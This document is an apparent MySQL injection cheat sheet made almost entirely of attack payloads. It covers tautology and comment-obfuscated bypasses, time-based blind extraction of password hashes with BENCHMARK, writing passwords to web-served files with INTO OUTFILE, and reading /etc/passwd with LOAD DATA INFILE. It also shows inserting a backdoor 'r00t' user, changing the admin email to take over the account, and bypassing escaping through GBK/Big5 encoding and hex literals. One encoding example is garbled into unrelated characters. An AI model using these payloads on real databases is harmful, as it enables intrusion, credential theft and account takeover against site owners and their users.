MySQL Injection Cheat Sheet
1. Basics.
SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"
2. Variations.
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"
3. SHOW TABLES
SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES
SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()
SELECT host,user,db from mysql.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;
4. Blind injection vectors.
4-1) Operators
SELECT 1 && 1;
SELECT 1 || 1;
SELECT 1 XOR 0;
4-2) Evaluate
all render TRUE or 1.
SELECT 0.1 <= 2;
SELECT 2 >= 2;
SELECT ISNULL(1/0);
4-3) Math
SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);
4-4) Misc
SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
SELECT MD5('abc');
4-5) Benchmark
SELECT BENCHMARK(10000000,ENCODE('abc','123'));
this takes around 5 sec on a localhost
SELECT BENCHMARK(1000000,MD5(CHAR(116)))
this takes around 7 sec on a localhost
SELECT BENCHMARK(10000000,MD5(CHAR(116)))
this takes around 70 sec on a localhost
4-6) Using the timeout to check if user exists
SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
Beware of of the N rounds, add an extra zero and it could stall or crash your browser!
5. Gathering info
5-1) Table mapping
SELECT COUNT(*) FROM tablename
5-2) Field mapping
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user LIKE "%"
SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;
5-3) User mapping
SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user = 'username'
6. Advanced SQL vectors
6-1) Writing info into files
SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'
6-2) Writing info into files without single quotes: (example)
SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
39))
Note: You must specify a new file, it may not exist! and give the correct pathname!
6-3) The CHAR() quoteless function
SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
SELECT * FROM login WHERE user = CHAR(39,97,39)
6-4) Extracting hashes
SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login
example:
SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login
SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5('x')),null) FROM login
6-5) explaining: (passwordfield,startcharacter,selectlength)
is like: (password,1,2) this selects: ‘ab’
is like: (password,1,3) this selects: ‘abc’
is like: (password,1,4) this selects: ‘abcd’
6-6) A quoteless example:
SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login
Possible chars: 0 to 9 ? ASCII 48 to 57 ~ a to z ? ASCII 97 to 122
7. Misc
7-1) Insert a new user into DB
INSERT INTO login SET user = 'r00t', pass = 'abc'
7-2) Retrieve /etc/passwd file, put it into a field and insert a new user
load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =
'r00t', pass = 'abc'
Then login!
7-3) Write the DB user away into tmp
SELECT host,user,password FROM user into outfile '/tmp/passwd';
7-4) Change admin e-mail, for “forgot login retrieval.”
UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';
8. Bypassing PHP functions
(MySQL 4.1.x before 4.1.20 and 5.0.x)
8-1) Bypassing addslashes() with GBK encoding
WHERE x = 0xbf27admin 0xbf27
8-2) Bypassing mysql_real_escape_string() with BIG5 or GBK
"injection string"
に?する追加情報:
the above chars are Chinese Big5
Advanced Vectors
1. Using an HEX encoded query to bypass escaping.
Normal:
SELECT * FROM login WHERE user = 'root'
Bypass:
SELECT * FROM login WHERE user = 0x726F6F74
2. Inserting a new user in SQL.
Normal:
insert into login set user = ‘root’, pass = ‘root’
Bypass:
insert into login set user = 0x726F6F74, pass = 0x726F6F74
3. How to determin the HEX value for injection.
SELECT HEX('root');
gives you:
726F6F74
then add:
0x
before it.